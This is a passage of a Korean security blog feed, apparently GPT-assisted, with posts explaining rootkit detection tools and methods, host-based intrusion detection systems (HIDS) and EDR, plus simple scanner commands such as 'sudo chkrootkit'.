&lt;hr data-end=&quot;261&quot; data-start=&quot;258&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;286&quot; data-start=&quot;263&quot;&gt;  1. Rootkit 감지 도구란?&lt;/h1&gt;
&lt;p data-end=&quot;417&quot; data-start=&quot;288&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;루트킷이 숨겨놓은 파일, 프로세스, 네트워크 포트, 커널 훼손 여부 등을 탐지하는 전문 보안 도구&lt;/b&gt;&lt;br /&gt;&amp;rarr; 커널 무결성 검사&lt;br /&gt;&amp;rarr; 시스템 호출 변조 확인&lt;br /&gt;&amp;rarr; 숨겨진 파일/프로세스 탐지&lt;br /&gt;&amp;rarr; 권한 상승 흔적 분석&lt;/p&gt;
&lt;p data-end=&quot;502&quot; data-start=&quot;419&quot; data-ke-size=&quot;size16&quot;&gt;루트킷은 시스템 깊숙한 영역에 숨어서 OS 정보를 조작하기 때문에&lt;br /&gt;이런 도구들이 &lt;b&gt;OS 외부 시각, 로우레벨 방식으로&lt;/b&gt; 탐지하는 경우가 많아.&lt;/p&gt;
&lt;hr data-end=&quot;507&quot; data-start=&quot;504&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;533&quot; data-start=&quot;509&quot;&gt;  2. 대표 Rootkit 감지 도구&lt;/h1&gt;
&lt;p data-end=&quot;563&quot; data-start=&quot;535&quot; data-ke-size=&quot;size16&quot;&gt;아래는 실제로 널리 쓰이는 루트킷 탐지 도구들이야.&lt;/p&gt;
&lt;hr data-end=&quot;568&quot; data-start=&quot;565&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;602&quot; data-start=&quot;570&quot; data-ke-size=&quot;size26&quot;&gt;✅ &lt;b&gt;1) chkrootkit (Linux)&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;676&quot; data-start=&quot;603&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;623&quot; data-start=&quot;603&quot;&gt;가장 유명한 루트킷 탐지 도구&lt;/li&gt;
&lt;li data-end=&quot;651&quot; data-start=&quot;624&quot;&gt;다양한 루트킷 signature 기반 탐지&lt;/li&gt;
&lt;li data-end=&quot;665&quot; data-start=&quot;652&quot;&gt;빠르게 검사 가능&lt;/li&gt;
&lt;li data-end=&quot;676&quot; data-start=&quot;666&quot;&gt;커맨드라인 기반&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;684&quot; data-start=&quot;678&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예:&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;sudo chkrootkit &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;717&quot; data-start=&quot;714&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;765&quot; data-start=&quot;719&quot; data-ke-size=&quot;size26&quot;&gt;✅ &lt;b&gt;2) rkhunter (Rootkit Hunter, Linux)&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;828&quot; data-start=&quot;766&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;797&quot; data-start=&quot;766&quot;&gt;루트킷, 백도어, 의심스러운 파일 권한 등을 검사&lt;/li&gt;
&lt;li data-end=&quot;828&quot; data-start=&quot;798&quot;&gt;무결성 검사(sha256 해시 기반) 기능 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;836&quot; data-start=&quot;830&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예:&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;sudo rkhunter --check &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;875&quot; data-start=&quot;872&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;917&quot; data-start=&quot;877&quot; data-ke-size=&quot;size26&quot;&gt;✅ &lt;b&gt;3) Lynis (보안 감사 + rootkit 탐지)&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;982&quot; data-start=&quot;918&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;937&quot; data-start=&quot;918&quot;&gt;전체 시스템 보안 점검 도구&lt;/li&gt;
&lt;li data-end=&quot;963&quot; data-start=&quot;938&quot;&gt;rootkit 포함 다양한 취약점 탐지&lt;/li&gt;
&lt;li data-end=&quot;982&quot; data-start=&quot;964&quot;&gt;서버 보안 점검에 많이 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;987&quot; data-start=&quot;984&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1015&quot; data-start=&quot;989&quot; data-ke-size=&quot;size26&quot;&gt;✅ &lt;b&gt;4) OSSEC (HIDS)&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1091&quot; data-start=&quot;1016&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1051&quot; data-start=&quot;1016&quot;&gt;HIDS이지만 rootkit detection 모듈 포함&lt;/li&gt;
&lt;li data-end=&quot;1091&quot; data-start=&quot;1052&quot;&gt;로그 분석 + 파일 무결성 검사 + rootkit 탐지도 같이 수행&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1096&quot; data-start=&quot;1093&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-end=&quot;1136&quot; data-start=&quot;1098&quot; data-ke-size=&quot;size26&quot;&gt;✅ &lt;b&gt;5) Windows 전용 Anti-rootkit 도구&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-end=&quot;1192&quot; data-start=&quot;1138&quot; data-ke-size=&quot;size23&quot;&gt;▶ Microsoft MRT(Malicious Software Removal Tool)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1222&quot; data-start=&quot;1193&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1202&quot; data-start=&quot;1193&quot;&gt;기본 제공&lt;/li&gt;
&lt;li data-end=&quot;1222&quot; data-start=&quot;1203&quot;&gt;일부 루트킷 탐지 및 제거 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1236&quot; data-start=&quot;1224&quot; data-ke-size=&quot;size23&quot;&gt;▶ GMER&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1318&quot; data-start=&quot;1237&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1267&quot; data-start=&quot;1237&quot;&gt;Windows에서 가장 강력한 루트킷 탐지 도구&lt;/li&gt;
&lt;li data-end=&quot;1301&quot; data-start=&quot;1268&quot;&gt;숨겨진 프로세스, 서비스, 레지스트리, 드라이버 탐지&lt;/li&gt;
&lt;li data-end=&quot;1318&quot; data-start=&quot;1302&quot;&gt;포렌식 전문가들이 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1348&quot; data-start=&quot;1320&quot; data-ke-size=&quot;size23&quot;&gt;▶ Kaspersky TDSSKiller&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1402&quot; data-start=&quot;1349&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1371&quot; data-start=&quot;1349&quot;&gt;부트킷, 커널 루트킷 탐지에 특화&lt;/li&gt;
&lt;li data-end=&quot;1402&quot; data-start=&quot;1372&quot;&gt;유명한 TDSS/Tdl4 계열 루트킷 제거 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1407&quot; data-start=&quot;1404&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1430&quot; data-start=&quot;1409&quot;&gt;  3. Rootkit 탐지 방식&lt;/h1&gt;
&lt;p data-end=&quot;1461&quot; data-start=&quot;1432&quot; data-ke-size=&quot;size16&quot;&gt;rootkit 탐지 도구는 보통 아래 방식을 사용해:&lt;/p&gt;
&lt;h3 data-end=&quot;1505&quot; data-start=&quot;1463&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ &lt;b&gt;시스템 호출 테이블(Syscall Table) 비교&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1536&quot; data-start=&quot;1506&quot; data-ke-size=&quot;size16&quot;&gt;루트킷은 커널 함수 후킹을 많이 함 &amp;rarr; 변경 여부 탐지&lt;/p&gt;
&lt;h3 data-end=&quot;1575&quot; data-start=&quot;1538&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ &lt;b&gt;File &amp;amp; Directory 무결성 검사&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1630&quot; data-start=&quot;1576&quot; data-ke-size=&quot;size16&quot;&gt;중요 파일의 hash 값 비교&lt;br /&gt;예: /bin/ls, /bin/ps 등이 변조됐는지 확인&lt;/p&gt;
&lt;h3 data-end=&quot;1657&quot; data-start=&quot;1632&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ &lt;b&gt;숨겨진 프로세스 탐지&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1688&quot; data-start=&quot;1658&quot; data-ke-size=&quot;size16&quot;&gt;/proc에 표시되지 않는 프로세스 존재 여부 확인&lt;/p&gt;
&lt;h3 data-end=&quot;1727&quot; data-start=&quot;1690&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ &lt;b&gt;커널 모듈(Kernel Module) 검사&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1756&quot; data-start=&quot;1728&quot; data-ke-size=&quot;size16&quot;&gt;lsmod에 보이지 않지만 실제 존재하는 모듈 탐지&lt;/p&gt;
&lt;h3 data-end=&quot;1785&quot; data-start=&quot;1758&quot; data-ke-size=&quot;size23&quot;&gt;5️⃣ &lt;b&gt;네트워크 포트/연결 검사&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;1803&quot; data-start=&quot;1786&quot; data-ke-size=&quot;size16&quot;&gt;숨겨진 포트나 백도어 연결 탐지&lt;/p&gt;
&lt;hr data-end=&quot;1808&quot; data-start=&quot;1805&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1832&quot; data-start=&quot;1810&quot;&gt;  4. Rootkit 감지의 특징&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1955&quot; data-start=&quot;1834&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1881&quot; data-start=&quot;1834&quot;&gt;&lt;b&gt;발견이 어렵고 고도화된 악성코드&lt;/b&gt;라 일반 백신보다 더 전문적인 탐지 필요&lt;/li&gt;
&lt;li data-end=&quot;1916&quot; data-start=&quot;1882&quot;&gt;&lt;b&gt;커널 레벨&lt;/b&gt;에서 활동하므로 OS가 조작될 수 있음&lt;/li&gt;
&lt;li data-end=&quot;1955&quot; data-start=&quot;1917&quot;&gt;감지가 되면 즉시 조치 필요(시스템 재설치 권장되는 경우도 있음)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1960&quot; data-start=&quot;1957&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1974&quot; data-start=&quot;1962&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;2078&quot; data-start=&quot;1975&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Rootkit 감지 도구 = OS와 보안 프로그램을 속이기 위해 숨겨진 루트킷을 찾아내기 위해 커널, 파일, 프로세스, 네트워크 등을 Low-level로 검사하는 전문 보안 도구&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <category>Rootkit 감지 도구</category>
      <category>보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/378</guid>
      <comments>https://toastfactory.tistory.com/378#entry378comment</comments>
      <pubDate>Mon, 17 Nov 2025 14:28:04 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] HIDS(Host-based Intrusion Detection System)란?</title>
      <link>https://toastfactory.tistory.com/377</link>
      <description>&lt;h1 data-end=&quot;87&quot; data-start=&quot;73&quot;&gt;  1. HIDS란?&lt;/h1&gt;
&lt;p data-end=&quot;206&quot; data-start=&quot;89&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;HIDS(Host-based Intrusion Detection System)는 &lt;b&gt;개별 호스트(서버, 컴퓨터 등)에서 발생하는 악성 행위나 비정상적인 활동을 탐지하는 보안 시스템&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;212&quot; data-start=&quot;208&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;262&quot; data-start=&quot;214&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;개별 장치에서 발생하는 침입, 해킹 시도를 실시간으로 감지하고 경고하는 시스템&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;342&quot; data-start=&quot;264&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;342&quot; data-start=&quot;264&quot;&gt;네트워크에서 발생하는 공격을 감지하는 **NIDS(Network-based IDS)**와 달리, &lt;b&gt;호스트 내의 활동&lt;/b&gt;을 직접 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;347&quot; data-start=&quot;344&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;368&quot; data-start=&quot;349&quot;&gt;  2. HIDS의 주요 기능&lt;/h1&gt;
&lt;p data-end=&quot;391&quot; data-start=&quot;370&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;시스템 로그 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;459&quot; data-start=&quot;392&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;424&quot; data-start=&quot;392&quot;&gt;시스템에서 발생하는 로그 파일을 실시간으로 모니터링&lt;/li&gt;
&lt;li data-end=&quot;459&quot; data-start=&quot;425&quot;&gt;예: /var/log/auth.log, 이벤트 로그 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;480&quot; data-start=&quot;461&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;파일 무결성 검사&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;529&quot; data-start=&quot;481&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;506&quot; data-start=&quot;481&quot;&gt;중요한 시스템 파일의 변경 여부를 추적&lt;/li&gt;
&lt;li data-end=&quot;529&quot; data-start=&quot;507&quot;&gt;악성코드나 비정상적인 파일 변조 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;550&quot; data-start=&quot;531&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;프로세스 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;609&quot; data-start=&quot;551&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;584&quot; data-start=&quot;551&quot;&gt;실행 중인 프로세스를 감시하고 의심스러운 활동을 탐지&lt;/li&gt;
&lt;li data-end=&quot;609&quot; data-start=&quot;585&quot;&gt;예: rootkit, 불법 프로그램 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;626&quot; data-start=&quot;611&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;침입 탐지&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;662&quot; data-start=&quot;627&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;662&quot; data-start=&quot;627&quot;&gt;시스템 내에서 비정상적인 접근 시도나 해킹을 실시간으로 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;681&quot; data-start=&quot;664&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;경고 및 알림&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;723&quot; data-start=&quot;682&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;723&quot; data-start=&quot;682&quot;&gt;의심스러운 활동이 발생하면 관리자에게 즉시 경고 메시지나 이메일을 발송&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;728&quot; data-start=&quot;725&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;751&quot; data-start=&quot;730&quot;&gt;  3. HIDS와 NIDS 차이&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분HIDSNIDS
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1032&quot; data-start=&quot;753&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1032&quot; data-start=&quot;797&quot;&gt;
&lt;tr data-end=&quot;848&quot; data-start=&quot;797&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;809&quot; data-start=&quot;797&quot;&gt;&lt;b&gt;탐지 대상&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;833&quot; data-start=&quot;809&quot; data-col-size=&quot;sm&quot;&gt;호스트 내의 활동(파일, 프로세스 등)&lt;/td&gt;
&lt;td data-end=&quot;848&quot; data-start=&quot;833&quot; data-col-size=&quot;sm&quot;&gt;네트워크 내의 트래픽&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;909&quot; data-start=&quot;849&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;861&quot; data-start=&quot;849&quot;&gt;&lt;b&gt;배치 위치&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;880&quot; data-start=&quot;861&quot; data-col-size=&quot;sm&quot;&gt;서버나 클라이언트 장치에 설치&lt;/td&gt;
&lt;td data-end=&quot;909&quot; data-start=&quot;880&quot; data-col-size=&quot;sm&quot;&gt;네트워크 경계에 설치 (예: 라우터, 스위치)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;963&quot; data-start=&quot;910&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;919&quot; data-start=&quot;910&quot;&gt;&lt;b&gt;장점&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;944&quot; data-start=&quot;919&quot; data-col-size=&quot;sm&quot;&gt;호스트 내부에서 발생하는 공격 탐지 가능&lt;/td&gt;
&lt;td data-end=&quot;963&quot; data-start=&quot;944&quot; data-col-size=&quot;sm&quot;&gt;네트워크 전반의 공격을 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1032&quot; data-start=&quot;964&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;973&quot; data-start=&quot;964&quot;&gt;&lt;b&gt;단점&lt;/b&gt;&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1000&quot; data-start=&quot;973&quot;&gt;각 호스트에 별도로 설치 필요, 리소스 소비&lt;/td&gt;
&lt;td data-end=&quot;1032&quot; data-start=&quot;1000&quot; data-col-size=&quot;sm&quot;&gt;암호화된 트래픽, 내부 네트워크 트래픽 탐지 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1037&quot; data-start=&quot;1034&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1057&quot; data-start=&quot;1039&quot;&gt;  4. HIDS 사용 사례&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1251&quot; data-start=&quot;1059&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1109&quot; data-start=&quot;1059&quot;&gt;&lt;b&gt;서버 보안&lt;/b&gt;: 특정 서버에서 발생하는 비정상적인 로그인 시도, 파일 변경 등 감지&lt;/li&gt;
&lt;li data-end=&quot;1152&quot; data-start=&quot;1110&quot;&gt;&lt;b&gt;개인 PC 보안&lt;/b&gt;: PC에서 발생하는 의심스러운 프로그램 실행 감지&lt;/li&gt;
&lt;li data-end=&quot;1196&quot; data-start=&quot;1153&quot;&gt;&lt;b&gt;데이터 유출 탐지&lt;/b&gt;: 중요한 파일의 무단 접근이나 외부로의 전송 감지&lt;/li&gt;
&lt;li data-end=&quot;1251&quot; data-start=&quot;1197&quot;&gt;&lt;b&gt;보안 규제 준수&lt;/b&gt;: PCI DSS, HIPAA와 같은 규제를 준수하기 위한 로그 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1256&quot; data-start=&quot;1253&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1278&quot; data-start=&quot;1258&quot;&gt;  5. HIDS의 장점과 단점&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;장점단점
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1542&quot; data-start=&quot;1280&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1542&quot; data-start=&quot;1308&quot;&gt;
&lt;tr data-end=&quot;1374&quot; data-start=&quot;1308&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1345&quot; data-start=&quot;1308&quot;&gt;&lt;b&gt;실시간 모니터링&lt;/b&gt;: 장치 내 활동을 실시간으로 감시 가능&lt;/td&gt;
&lt;td data-end=&quot;1374&quot; data-start=&quot;1345&quot; data-col-size=&quot;sm&quot;&gt;&lt;b&gt;리소스 소비&lt;/b&gt;: 시스템 자원을 일부 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1454&quot; data-start=&quot;1375&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1420&quot; data-start=&quot;1375&quot;&gt;&lt;b&gt;세밀한 탐지&lt;/b&gt;: 파일, 프로세스, 시스템 이벤트 등을 세밀하게 모니터링&lt;/td&gt;
&lt;td data-end=&quot;1454&quot; data-start=&quot;1420&quot; data-col-size=&quot;sm&quot;&gt;&lt;b&gt;설정 및 관리 복잡&lt;/b&gt;: 많은 호스트를 관리해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1542&quot; data-start=&quot;1455&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1501&quot; data-start=&quot;1455&quot;&gt;&lt;b&gt;내부 공격 탐지&lt;/b&gt;: 외부 네트워크 공격뿐만 아니라 내부 공격도 탐지 가능&lt;/td&gt;
&lt;td data-end=&quot;1542&quot; data-start=&quot;1501&quot; data-col-size=&quot;sm&quot;&gt;&lt;b&gt;네트워크 공격 탐지 불가&lt;/b&gt;: 네트워크 전체를 모니터링하지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1547&quot; data-start=&quot;1544&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1561&quot; data-start=&quot;1549&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1661&quot; data-start=&quot;1562&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HIDS = 개별 호스트에서 발생하는 침입, 해킹 시도, 비정상적인 활동을 탐지하여 경고하는 보안 시스템으로, 시스템 파일, 프로세스, 로그 등을 실시간으로 모니터링한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <category>HIDS</category>
      <category>보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/377</guid>
      <comments>https://toastfactory.tistory.com/377#entry377comment</comments>
      <pubDate>Mon, 17 Nov 2025 14:18:37 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] EDR (Endpoint Detection and Response)란?</title>
      <link>https://toastfactory.tistory.com/376</link>
      <description>&lt;h1 data-end=&quot;132&quot; data-start=&quot;85&quot;&gt;  1. EDR (Endpoint Detection and Response)란?&lt;/h1&gt;
&lt;p data-end=&quot;227&quot; data-start=&quot;134&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;EDR은 &lt;b&gt;엔드포인트(PC, 서버, 모바일 장치 등)의 보안을 실시간으로 모니터링하고, 의심스러운 활동을 탐지하여 대응하는 보안 솔루션&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;233&quot; data-start=&quot;229&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;307&quot; data-start=&quot;235&quot; data-ke-size=&quot;size16&quot;&gt;  &quot;엔드포인트 장치에서 발생할 수 있는 보안 위협을 실시간으로 탐지하고, 공격을 차단하거나 추적할 수 있도록 도와주는 시스템&quot;&lt;/p&gt;
&lt;hr data-end=&quot;312&quot; data-start=&quot;309&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;332&quot; data-start=&quot;314&quot;&gt;  2. EDR의 주요 기능&lt;/h1&gt;
&lt;p data-end=&quot;352&quot; data-start=&quot;334&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;실시간 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;383&quot; data-start=&quot;353&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;383&quot; data-start=&quot;353&quot;&gt;엔드포인트에서 발생하는 모든 활동을 실시간으로 감시&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;400&quot; data-start=&quot;385&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;위협 탐지&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;442&quot; data-start=&quot;401&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;442&quot; data-start=&quot;401&quot;&gt;비정상적인 행위나 공격 패턴을 감지 (예: 악성코드 실행, 권한 상승)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;466&quot; data-start=&quot;444&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;자동 대응(AI 기반)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;492&quot; data-start=&quot;467&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;492&quot; data-start=&quot;467&quot;&gt;의심스러운 활동에 대한 자동 차단 및 격리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;515&quot; data-start=&quot;494&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;위협 분석 및 포렌식&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;555&quot; data-start=&quot;516&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;555&quot; data-start=&quot;516&quot;&gt;침해 사고 발생 시 원인 분석, 로그 기록을 기반으로 사건을 재구성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;575&quot; data-start=&quot;557&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;경고 및 리포트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;604&quot; data-start=&quot;576&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;604&quot; data-start=&quot;576&quot;&gt;보안 이벤트 발생 시 경고 및 상세 리포트 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;609&quot; data-start=&quot;606&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;630&quot; data-start=&quot;611&quot;&gt;  3. EDR과 백신의 차이&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분EDR백신
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;920&quot; data-start=&quot;632&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;920&quot; data-start=&quot;672&quot;&gt;
&lt;tr data-end=&quot;725&quot; data-start=&quot;672&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;681&quot; data-start=&quot;672&quot;&gt;&lt;b&gt;목표&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;704&quot; data-start=&quot;681&quot; data-col-size=&quot;sm&quot;&gt;엔드포인트 전반의 위협 탐지 및 대응&lt;/td&gt;
